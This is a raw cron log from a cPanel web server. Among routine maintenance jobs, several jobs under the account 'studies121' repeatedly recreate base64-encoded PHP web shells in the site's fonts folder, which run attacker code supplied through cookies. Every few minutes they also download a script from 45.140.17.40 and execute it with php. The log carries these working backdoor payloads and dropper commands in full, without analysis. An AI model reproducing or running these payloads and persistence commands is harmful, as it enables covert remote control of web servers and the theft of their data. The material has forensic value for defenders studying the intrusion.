Aug 31 05:24:01 ip-184-168-122-23 CROND[4834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:24:01 ip-184-168-122-23 CROND[4833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:24:01 ip-184-168-122-23 CROND[4836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:24:01 ip-184-168-122-23 CROND[4835]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:25:01 ip-184-168-122-23 CROND[4951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:25:01 ip-184-168-122-23 CROND[4950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:25:01 ip-184-168-122-23 CROND[4953]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 05:25:01 ip-184-168-122-23 CROND[4952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:25:01 ip-184-168-122-23 CROND[4955]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 05:25:01 ip-184-168-122-23 CROND[4956]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:26:01 ip-184-168-122-23 CROND[5072]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 05:26:01 ip-184-168-122-23 CROND[5073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:26:01 ip-184-168-122-23 CROND[5076]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:26:01 ip-184-168-122-23 CROND[5077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:26:01 ip-184-168-122-23 CROND[5079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:27:01 ip-184-168-122-23 CROND[5264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:27:01 ip-184-168-122-23 CROND[5265]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:27:01 ip-184-168-122-23 CROND[5267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:27:01 ip-184-168-122-23 CROND[5269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:28:01 ip-184-168-122-23 CROND[5484]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:28:01 ip-184-168-122-23 CROND[5487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:28:02 ip-184-168-122-23 CROND[5489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:28:02 ip-184-168-122-23 CROND[5486]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 05:28:02 ip-184-168-122-23 CROND[5488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:29:01 ip-184-168-122-23 CROND[5671]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:29:01 ip-184-168-122-23 CROND[5673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:29:01 ip-184-168-122-23 CROND[5674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:29:01 ip-184-168-122-23 CROND[5675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:30:01 ip-184-168-122-23 CROND[5791]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Aug 31 05:30:01 ip-184-168-122-23 CROND[5793]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 05:30:01 ip-184-168-122-23 CROND[5795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:30:01 ip-184-168-122-23 CROND[5799]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 05:30:01 ip-184-168-122-23 CROND[5796]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:30:01 ip-184-168-122-23 CROND[5798]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 05:30:01 ip-184-168-122-23 CROND[5800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:30:01 ip-184-168-122-23 CROND[5801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:30:01 ip-184-168-122-23 CROND[5804]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 05:31:01 ip-184-168-122-23 CROND[5923]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:31:01 ip-184-168-122-23 CROND[5927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:31:01 ip-184-168-122-23 CROND[5926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:31:01 ip-184-168-122-23 CROND[5928]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 05:31:01 ip-184-168-122-23 CROND[5925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:32:02 ip-184-168-122-23 CROND[6018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:32:02 ip-184-168-122-23 CROND[6022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:32:02 ip-184-168-122-23 CROND[6020]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 05:32:02 ip-184-168-122-23 CROND[6019]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:32:02 ip-184-168-122-23 CROND[6021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:33:01 ip-184-168-122-23 CROND[6126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:33:01 ip-184-168-122-23 CROND[6128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:33:01 ip-184-168-122-23 CROND[6129]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:33:01 ip-184-168-122-23 CROND[6132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:34:01 ip-184-168-122-23 CROND[6307]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:34:01 ip-184-168-122-23 CROND[6310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:34:01 ip-184-168-122-23 CROND[6312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:34:01 ip-184-168-122-23 CROND[6309]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 05:34:01 ip-184-168-122-23 CROND[6311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:35:01 ip-184-168-122-23 CROND[6451]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 05:35:01 ip-184-168-122-23 CROND[6454]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 05:35:01 ip-184-168-122-23 CROND[6455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:35:01 ip-184-168-122-23 CROND[6457]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 05:35:01 ip-184-168-122-23 CROND[6456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:35:01 ip-184-168-122-23 CROND[6459]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 05:35:01 ip-184-168-122-23 CROND[6458]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:35:01 ip-184-168-122-23 CROND[6460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:36:01 ip-184-168-122-23 CROND[6593]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:36:01 ip-184-168-122-23 CROND[6595]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 05:36:01 ip-184-168-122-23 CROND[6596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
